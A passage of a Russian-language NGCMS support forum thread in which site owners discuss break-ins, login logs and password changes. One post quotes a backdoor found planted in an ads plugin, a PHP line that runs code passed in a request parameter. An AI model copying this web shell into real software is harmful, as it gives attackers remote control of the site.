Русский English Deutsch Українська Қазақша

Next Generation CMS :: Форум поддержки

Заинтересовала наша система? Тогда этот форум для Вас!

Вы не вошли.

#26 2015-04-15 16:08:54

infinity237
Модератор
Откуда: Russia, Moscow
Здесь с 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Вообщем, считай что в NG дыра тогда как и считает автор темы.

Вне форума

#27 2015-04-15 16:16:43

phoboss
Участник
Здесь с 2011-06-01
Сообщений: 43
Рейтинг :   

Re: Ну вот и нашли на NGCMS ДЫРУ

Я так не считаю. Просто не стал плодить темы, когда аналогичная ситуация описана здесь.

З.Ы. Исчерпывающий ответ :D

Отредактировано phoboss (2015-04-15 16:16:56)

Вне форума

#28 2015-04-15 18:44:26

infinity237
Модератор
Откуда: Russia, Moscow
Здесь с 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Я на полном серьезе это говорю, т.к. другого объяснения происходящему у меня нет.

Вне форума

#29 2015-04-15 22:30:51

phoboss
Участник
Здесь с 2011-06-01
Сообщений: 43
Рейтинг :   

Re: Ну вот и нашли на NGCMS ДЫРУ

Думаю, при бруте, в логах засветились бы множественные POST /login, а их вчера было всего 2.
Сегодня снова в логах засветился айпишник взломщика, провел на сайте 30 сек. На этот раз без логина (пароль я сменил).

Вне форума

#30 2015-04-15 23:22:02

legenda
Участник
Откуда: ua
Здесь с 2009-12-22
Сообщений: 2,151
Рейтинг :   39 

Re: Ну вот и нашли на NGCMS ДЫРУ

у меня недавно была похожая ситуация, ктото создал в адс_про вот таку фигню
if (isset($_REQUEST['fex'])) eval(stripslashes($_REQUEST['fex']));
соответстенно мейне вывод блока в пхп

о проблеме мне сообщил яндекс, скорее всего это примерно 2 недели длилось так как первое сообщение было 16 числа, последнее что то 27 с разными промежутками, просто не всегда яндекс открываю.

Пароль от админа только у меня, как они то делают хз, все удалил пароль сменил, вроде пропало

Вне форума

#31 2015-04-16 05:34:48

irbees2008
Продвинутый чайник
Откуда: Шахтинск
Здесь с 2012-03-14
Сообщений: 2,739
Рейтинг :   114 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Посмотри кто у тебя там еще с id 1 из пользователей, включи запись последних действий.

Вне форума

#32 2015-04-16 20:12:38

infinity237
Модератор
Откуда: Russia, Moscow
Здесь с 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Вот кстати не ясно что это:
http://potolok.dp.ua/engine/admin.php

Вне форума

#33 2015-04-16 22:58:13

legenda
Участник
Откуда: ua
Здесь с 2009-12-22
Сообщений: 2,151
Рейтинг :   39 

Re: Ну вот и нашли на NGCMS ДЫРУ

сегодня кстате заметил что снова сломали((

Вне форума

#34 2015-04-17 05:02:33

irbees2008
Продвинутый чайник
Откуда: Шахтинск
Здесь с 2012-03-14
Сообщений: 2,739
Рейтинг :   114 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Вне форума

Сейчас в этой теме пользователей: 0, гостей: 1
[Bot] ClaudeBot

Подвал форума

Под управлением FluxBB 1.5.11
Модифицировал Visman

[ Сгенерировано за 0.022 сек, 7 запросов выполнено - Использовано памяти: 539.59 Кбайт (Пик: 560.59 Кбайт) ]